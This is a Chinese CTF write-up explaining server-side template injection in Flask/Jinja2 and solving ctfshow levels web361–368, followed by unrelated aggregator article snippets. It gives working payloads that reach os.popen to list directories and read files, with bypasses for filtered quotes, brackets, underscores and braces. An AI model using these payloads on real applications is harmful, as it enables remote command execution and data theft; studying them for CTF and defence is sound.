初识SSTI

news2025/7/12 23:22:51

SSTI概念

SSTI就是服务器端模板注入(Server-Side Template Injection),实际上也是一种注入漏洞;可以类比于SQL注入,实际上这两者的基本思想是一致的;

SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,之后便是执行;SSTI利用的是现在网站模板引擎(Python的jinja2、mako、tornado、django;PHP的smarty、twig;JAVA的jade、等等),当在运用这些框架对运用渲染函数生成html的时候便会出现SSTI的问题

什么是模板引擎?

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

简单来说就是利用模板引擎来生成一套前端HTML代码,只需要获取用户的数据,然后放到渲染函数中,之后便生成模板+用户数据的前端HTML页面,然后反馈给浏览器,呈现在用户的面前

引发SSTI的原因

渲染函数在渲染的时候,往往不会对用户输入的变量进行渲染;

如何判断SSTI类型

这是在网上找到的图片,根据处理返回值的不同来判断SSTI的类型:

SSTI常用类

__class__

__class__用来查看变量所属的类,格式为:变量.__class__

''.__class__  #<class 'str'>
().__class__  #<class 'tuple'>
{}.__class__  #<class 'dict'>
[].__class__  #<class 'list'>

__bases__

__bases__用来查看类的基类,注意是的基类,所以格式应该是:变量.__class__.__bases__

>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ().__class__.__bases__
(<class 'object'>,)
>>> {}.__class__.__bases__
(<class 'object'>,)
>>> [].__class__.__bases__
(<class 'object'>,)

同时也可以加上数组,来指定获取第几个基类;例如:变量.__class__.bases__[0] 代表着获取第一个基类

还有一个类是__mro__,他显示类和基类,这是与__bases__不同的地方:

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

__subclasses__

__subclasses__()用来查看当前类的子类,格式为:变量.__class__.__bases__[0].__subclasses__()

当然和__bases__一样,也可以加上数组,来查看指定的索引值:

>>> ''.__class__.__bases__[0].__subclasses__()[0]
<class 'type'>

类的知识总结(转载)

__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。

request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1   	 get传参
request.values.x1 	 所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 post传参	(Content-Type:a/b)
request.json		 post传json  (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g                    {{g}}得到<flask.g of 'flask_ssti'>

常见过滤器(转载)

常用的过滤器:

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};

list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload;

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length()返回字符串的长度,别名是count

练习(ctfshow)

web361

进入首页:(回头看hint,发现”名字就是考点“,经过测试传参为name)

传递参数?name={{7*7}},得到回显为49

  1. 根据上文提到的,先来找变量所属的类以及当前的类的基类是什么,用空字符来测试;

在Python中,所有的类都会继承Object类,如果定义一个类没有指定继承某个类,那么默认继承的是Object类

?name={{''.__class__.__bases__[0]}}
  1. 之后便是找类的子类,使用的就是__subclasses__()

?name={{''.__class__.__bases__[0].__subclasses__()}}
  1. 找到所有的子类的集合之后,我们需要找出一个能够使用的类,要求这个类的某一个方法能够被我们用于执行和寻找flag

这里使用的是第133个类(第一个类的索引值为0):

  1. 之后便是实例化这个类,使用__init__(初始化类,返回的类型是function),实例化类之后,通过全局变量globals来查看所有的方法(初始化类之后,使用function.__globals__来查看function所处空间下可使用的module、方法和所有的变量)

?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}
  1. 根据方法来获取flag

?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web362

"开始过滤了..." 首页还是一样的!

还是按照上面的方法先试试:

到这里还是可以的,也就是说我们可以获得第一个基类下面的所有的子类的集合,但是发现无法使用第133个类:

PS:因为过滤了数字2 3

这里就需要另谋他路了,上面附上了一张类的知识的总结表(转载);其中存在下面的几个知识点:

  1. __builtins__:内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数(比如说eval、import)。

  1. url_for:flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。

  1. get_flashed_messages:flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__['__builtins__']含有current_app。

  1. lipsum:flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}

所以可以使用上面的三种方法来得到__builtins__,之后便是内含的模块,进行命令执行获取flag;

?name={{url_for.__globals__.__builtins__['eval']("__import__('os').popen('ls /').read()")}}
?name={{get_flashed_messages.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")}}
?name={{lipsum.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")}}

还有一种方法可以获取到__builtins__:

?name={{xx.__init__.__globals__}}

这里的xx可以是26个英文字符的任意组合;

web363

PS:过滤了单双引号

利用request方法绕过:

我们还是利用上面的payload来打,唯一被过滤的地方就是单双引号,我们先来看看上一关的payload和使用request方法绕过单双引号的payload有什么不一样:

?name={{get_flashed_messages.__globals__.__builtins__.eval(request.args.x1)}}&x1=__import__('os').popen('ls').read()
#上面的payload是使用了request来绕过引号,而下面的payload就是我们正常的payload
?name={{get_flashed_messages.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}

web364

经过测试发现还是过滤了单双引号,并且还过滤args;可以更换请求方式例如POST、Cookie的方式传递参数;

但是在使用post方式的时候,提示:

使用cookie便可绕过;

?name={{lipsum.__globals__.__builtins__.eval(request.cookies.x)}}
cookie: x=__import__('os').popen('cat /flag').read()

web365

用上面的payload继续打还是可以打通的;过滤引号以及中括号

?name={{url_for.__globals__.os.popen(request.cookies.x).read()}}
Cookie: x = ls /

?name={{url_for.__globals__.os.popen(request.cookies.x).read()}}
Cookie: x = cat /flag

web366

过滤引号、中括号、args还过滤了下划线,那么现在的问题就是想办法绕过下划线;经过百度查询,同样还是利用request.values来绕过,但是题目中还是过滤了中括号的:

?name={{lipsum.(request.cookies.globals).(request.cookies.builtins).eval(request.cookies.x)}}

cookie:globals=__globals__;builtins=__builtins__;x=__import__('os').popen('ls /').read()

发现这种方式是会出现500错误的;这里要使用的是attr() 他是flask自带的过滤器

"".__class__ 相当于 ""|attr("__class__")

PS:常用于”.“号或者是下划线被过滤

?name={{lipsum.__globals__.__builtins__.os.popen('ls /').read()}}
?name={{(lipsum|attr(request.cookies.x1)).os.popen(request.cookies.x2).read()}}

web367

过滤了引号、中括号、下划线

同样还是使用上面的payload继续打:

发现还是可以打通的,但是后面使用os的时候,发现被过滤了:可以使用request.cookies.a来绕过;

?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}

web368

经过测试发现,应该是在上面的题目的基础上增加过滤“{{“开头, 以”}}“结尾;

使用的是%和print来绕过;

?name={%print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()%}

文章参考:https://blog.csdn.net/rfrder/article/details/113866139

https://blog.csdn.net/miuzzx/article/details/110220425

https://blog.csdn.net/qq_42880719/article/details/122699710?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167695429516782427448079%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=167695429516782427448079&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-7-122699710-null-null.142^v73^pc_search_v2,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=ctfshow%20ssti&spm=1018.2226.3001.4187

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/362454.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AVS3中ECCSAO

AVS3引入了CCSAO&#xff0c;通过不同通道间的预测来去除通道间的冗余以提升编码效率。然而CCSAO在处理时未考虑边界像素的分类问题&#xff0c;所以在处理纹理复杂的内容时效率还是不高。CCSAOAVS3中引入了CCSAO&#xff0c;它是帧级的环路滤波工具&#xff0c;如Fig.1所示&am…

ABAP 351 - 动态编程

作为面对对象的编程语言&#xff0c;ABAP也是支持动态编程的。ABAP351作为一门独立的课程介绍了类反射机制如何实现的过程。一、Field SymbolsField Symbols(字段符号)在ABAP编程中经常使用&#xff0c;实际上它具备以下几点特性&#xff1a;字段符号只是字段的一个别名&#x…

一个http请求的全过程是怎样的?

一、前言 当我们在浏览器栏输入&#xff1a;http//:www.baidu.com 的时候&#xff0c;具体发生了什么呢&#xff1f;这个请求是怎么到达服务器及返回结果的呢 http请求过程图示 二、概述 浏览器进行DNS域名解析&#xff08;就是域名到IP地址的转换过程&#xff09;&#xff0…

字节10年架构师职业发展经历,助你做好职业规划

一直以来程序员这一职业都给人高薪资的印象&#xff0c;近年来随着互联网行业的快速发展&#xff0c;程序员更是人满为患&#xff0c;然而很多人关注的却是程序员的薪资&#xff0c;而非职业本身。 一批批程序员进入工作岗位&#xff0c;但是很多人并没有对自己的职业生涯有清…

2023环翠区编程挑战赛小学组题解

T1. 乘车费用 题目描述 星期天上午小红乘出租车去本市的奶奶家。出租车计价方案为&#xff1a;333公里以内&#xff08;包括333公里&#xff09;起步价是131313元&#xff0c;超过333公里之后按2.32.32.3元/公里计价&#xff0c;整个乘车途中另加111元钱的燃油费。 已知&…

一篇文章带你搞懂spring6的概念、spring入门与容器IoC详解(尚硅谷笔记)

文章目录1、概述1.1、Spring是什么&#xff1f;1.2、Spring 的狭义和广义1.3、Spring Framework特点1.4、Spring模块组成1.5、Spring6特点1.5.1、版本要求2、入门2.1、环境要求2.2、构建模块2.3、程序开发2.3.1、引入依赖2.3.2、创建java类2.3.3、创建配置文件2.3.4、创建测试类…

YOLOv8模型调试记录

前言 新年伊始&#xff0c;ultralytics 公司在 2023 年 1月 10 号开源的 YOLOv5 的下一个重大更新版本&#xff0c;目前支持图像分类、物体检测和实例分割任务&#xff0c;在还没有开源时就收到了用户的广泛关注。 值得一提的是&#xff0c;在博主的印象中&#xff0c;YOLO系…

【蓝桥OJ】门牌制作、七段码、成绩统计、分数

文章目录门牌制作七段码成绩统计分数总结门牌制作 小蓝要为一条街的住户制作门牌号。这条街一共有 2020位住户&#xff0c;门牌号从 1 到 2020 编号。小蓝制作门牌的方法是先制作 0 到 9 这几个数字字符&#xff0c;最后根据需要将字符粘贴到门牌上&#xff0c;例如门牌 1017 …

OpenHarmony ArkTS 框架下如何自定义权限

系统有很多权限&#xff0c;比如:多媒体权限 ohos.permission.READ_MEDIA 那么&#xff0c;当我们在做开发板定制hap 时需要我们自定义的特殊权限&#xff0c;该如何做呢&#xff0c;比如要做个ohos.permission.MY_TEST_PERMISSION自定义权限&#xff0c;我的思路就是&#x…

黑马程序员-Linux网络编程-01

目录 课程链接 协议 分层模型 网络传输数据封装流程 以太网帧和ARP请求 IP协议 TCP协议 BS与CS模型对比 套接字 网络字节序 IP地址转换函数 sockaddr地址结构 socket模型创建流程 socket()和bind() listen()和accept()​ 课程链接 03-协议_哔哩哔哩_bilibili 协…

【python学习笔记】:2种用 Python 作为小程序后端的方式

微信的小程序是一个很不错的体验&#xff0c;简单&#xff0c;上手快&#xff0c;这几天也在学习使用小程序&#xff0c;总结了2种用 Python 作为小程序后端的方式&#xff0c;供你参考。 方法一、微信的云托管[1]。 优点&#xff1a;不需要购买服务器&#xff0c;不需要域名…

Go语言环境安装与试运行

下载参考Go语言中文网https://studygolang.com/Go语言中文网下载会快一些&#xff0c;与Go官网是同步的&#xff0c;按对应操作系统下载。Windows下安装这里只展示Windows下的安装场景下载后双击文件&#xff1a;本地环境路径&#xff08;其实建议把环境都放在同一个指定目录下…

数据结构与算法:Map和Set的使用

1.搜索树 1.定义 二叉搜索树又称二叉排序树&#xff0c;它或者是一棵空树&#xff0c;或者是具有以下性质的二叉树: 若它的左子树不为空&#xff0c;则左子树上所有节点的值都小于根节点的值若它的右子树不为空&#xff0c;则右子树上所有节点的值都大于根节点的值它的左右子…

5年测试在职经验之谈:3年手工测试、2年的自动化测试,从入门到不可自拔...

毕业3年了&#xff0c;学的是环境工程专业&#xff0c;毕业后零基础转行做软件测试。 已近从事测试行业8年了&#xff0c;自己也从事过3年的手工测试&#xff0c;从事期间越来越觉得如果一直在手工测试的道路上前进&#xff0c;并不会有很大的发展&#xff0c;所以通过自己的努…

【机器学习】为什么需要对数值型的特征做归一化(Normalization)?

目录&#xff1a;为什么需要对数值型的特征做归一化&#xff1f;一、概念定义二、标准化、归一化的原因、用途2.1 原因三、数据归一化的影响四、常用的3种归一化方法4.1 归一化公式4.1.1 线性归一化&#xff08;Min-Max Scaling&#xff0c;即我们一般指的归一化&#xff09;4.…

十二、Django表单

表单 在之前的案例中&#xff0c;每次我们需要提交表单数据的时候。我们都需要去手动编辑html表单&#xff0c;根据不同的字段&#xff0c;字段名&#xff0c;进行编码。做了很多重复的部分&#xff0c;所以django提供了一个专门用来处理表单的类&#xff0c;django.forms.For…

23年PMP真的值得考吗?分析+资料分享

我觉得&#xff0c;如过是真的想学习项目管理&#xff0c;或者工作要求考PMP&#xff0c;招聘要求又的确“PMP证书”优先&#xff0c;那考一个是划算的&#xff0c;毕竟在项目管理这一块&#xff0c;PMP是专业和知名度最高的证书了。 它是由美国项目管理协会(PMI)在全球范围内推…

Java 给视频添加背景音乐 | Java工具

目录 前言 Maven依赖 环境依赖 代码 总结 前言 本文提供给视频添加背景音乐的java工具&#xff0c;一如既往的实用主义。 Maven依赖 <dependency><groupId>com.google.guava</groupId><artifactId>guava</artifactId><version>30.1.1…

Towards Efficient Adversarial Training on Vision Transformers

视觉转换器(ViT)作为卷积神经网络(CNN)的有力替代方案&#xff0c;受到了广泛的关注。最近的研究表明&#xff0c;vit也容易受到cnn等对抗实例的攻击。为了构建健壮的vit&#xff0c;一种直观的方法是应用对抗性训练&#xff0c;因为它已被证明是实现健壮cnn的最有效方法之一。…

笔记本cpu温度多少正常?温度过高的4个常见原因

电脑CPU指的是中央处理器&#xff0c;它与电脑运行速度的快慢存在很大关系。如果电脑的处理器温度过高&#xff0c;就会影响我们电脑的运行速度&#xff0c;甚至出现蓝屏、卡顿的情况。 那么&#xff0c;对于电脑来说&#xff0c;笔记本cpu温度多少正常&#xff1f;有什么原因…